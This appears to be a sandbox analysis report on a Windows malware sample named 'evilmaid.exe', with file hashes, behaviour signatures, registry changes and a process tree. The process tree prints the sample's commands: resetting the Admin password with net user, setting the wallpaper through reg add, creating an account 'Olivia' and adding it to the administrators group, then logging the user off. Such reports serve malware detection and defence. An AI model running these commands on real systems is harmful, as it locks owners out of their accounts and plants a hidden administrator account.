Analysis
- max time kernel
150s - max time network
123s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
25/04/2026, 01:02
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
evilmaid.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
evilmaid.exe
Resource
win11-20260130-en
windows11-21h2-x64
10 signatures
150 seconds
General
- Target evilmaid.exe
- Size 1.5MB
- Sample260425-bdymqagv6p
- SHA256 403862530acc8478d8a5dc8dd8827cdf2cf516ab1145d43c8dbe26f1a56a0fbf
- MD5 8f43e524a0b49d4da96bdc47cb2536bf
- SHA1 d4e82910d81bc23be96fd0ab874ef6eeda438ba5
- SHA512 6759320b16e171607d6ab550d2954a6fdc3c94b18e594f8a3f39e17c654c34ae8b2706df2924f24b67250a2b9cf75f9764f7c257f1cc3819a48da475bb09da86
- SSDEEP 49152:0S2TIigvCURU7pfD2Dp+R+ikfm84fhxIMl0xtEK:dpPCURkQ4Rpw+hiI8EK
- TLSH T1127502C9D9A0C77CDF6A9530F1E3E4794BA70C695E7EF442CFE8345222328A5792D04A
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
Malware Config
Signatures
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\/test.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\/test.png" reg.exe - Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language evilmaid.exe - Delays execution with timeout.exe 3 IoCs
pid Process 4072 timeout.exe 4672 timeout.exe 3904 timeout.exe - Modifies data under HKEY_USERS 15 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "253" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe - Runs net.exe
- Suspicious behavior: LoadsDriver 64 IoCs
pid Process 1220 Process not Found 2720 Process not Found 1380 Process not Found 3684 Process not Found 2252 Process not Found 588 Process not Found 3712 Process not Found 1184 Process not Found 2340 Process not Found 1612 Process not Found 3732 Process not Found 1200 Process not Found 640 Process not Found 2580 Process not Found 736 Process not Found 1696 Process not Found 2584 Process not Found 4548 Process not Found 4704 Process not Found 2300 Process not Found 2256 Process not Found 4336 Process not Found 4544 Process not Found 4488 Process not Found 4156 Process not Found 1884 Process not Found 2840 Process not Found 2172 Process not Found 1476 Process not Found 1688 Process not Found 3932 Process not Found 2460 Process not Found 3216 Process not Found 1112 Process not Found 2292 Process not Found 4584 Process not Found 1020 Process not Found 1036 Process not Found 4848 Process not Found 4684 Process not Found 3612 Process not Found 3772 Process not Found 3748 Process not Found 1664 Process not Found 5048 Process not Found 4636 Process not Found 3820 Process not Found 4832 Process not Found 2028 Process not Found 4784 Process not Found 2920 Process not Found 4772 Process not Found 3996 Process not Found 876 Process not Found 2076 Process not Found 4844 Process not Found 836 Process not Found 2424 Process not Found 4776 Process not Found 2792 Process not Found 1760 Process not Found 2408 Process not Found 800 Process not Found 4872 Process not Found - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3036 LogonUI.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 4868 wrote to memory of 3384 4868 evilmaid.exe 86 PID 3384 wrote to memory of 4072 3384 cmd.exe 87 PID 3384 wrote to memory of 4940 3384 cmd.exe 88 PID 4940 wrote to memory of 3224 4940 net.exe 89 PID 3384 wrote to memory of 3084 3384 cmd.exe 90 PID 3384 wrote to memory of 3300 3384 cmd.exe 91 PID 3384 wrote to memory of 4672 3384 cmd.exe 92 PID 3384 wrote to memory of 3364 3384 cmd.exe 93 PID 3384 wrote to memory of 3904 3384 cmd.exe 94 PID 3384 wrote to memory of 2448 3384 cmd.exe 95 PID 2448 wrote to memory of 2444 2448 net.exe 96 PID 3384 wrote to memory of 4444 3384 cmd.exe 97 PID 4444 wrote to memory of 3116 4444 net.exe 98 PID 3384 wrote to memory of 5012 3384 cmd.exe 99
Processes
-
C:\Users\Admin\AppData\Local\Temp\evilmaid.exe"C:\Users\Admin\AppData\Local\Temp\evilmaid.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\952.tmp\962.tmp\963.bat C:\Users\Admin\AppData\Local\Temp\evilmaid.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
PID:4072
-
-
C:\Windows\system32\net.exenet user Admin stupidlittlemaid3⤵
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Admin stupidlittlemaid4⤵PID:3224
-
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\/test.png /f3⤵
- Sets desktop wallpaper using registry
PID:3084
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters3⤵PID:3300
-
-
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak3⤵
- Delays execution with timeout.exe
PID:4672
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\/test.png /f3⤵
- Sets desktop wallpaper using registry
PID:3364
-
-
C:\Windows\system32\timeout.exetimeout /t /3 /nobreak3⤵
- Delays execution with timeout.exe
PID:3904
-
-
C:\Windows\system32\net.exenet user "Olivia" X3 /add3⤵
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user "Olivia" X3 /add4⤵PID:2444
-
-
-
C:\Windows\system32\net.exenet localgroup administrators Olivia /add3⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators Olivia /add4⤵PID:3116
-
-
-
C:\Windows\system32\shutdown.exeshutdown -l3⤵PID:5012
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa39b2055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3036
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\952.tmp\962.tmp\963.bat
- Size 742B
- SHA256 80bd0527bea6233c78477579d113bbde56eaae1b17806f5bcb824ac158b367e2
- MD5 e7bc8b3dc833682c0c43fa25ca60e7a1
- SHA1 6fff3e0ef39723a08cf6df0efd5d5374f4a54085
- SHA512 83c90de3d0c9cb6899f43e0a0b969affefba27925db66526b706a616146553d268b19a4c77d4c3486e029cb3f7db9327ee114d6e0eb01973512b60a6b1939109
- TLSH T17601155AF0630945568095F8693B9C436F9C74C3ED97B7C254EB009516DD32A47358D8
- MD5 SHA1 SHA512 TLSH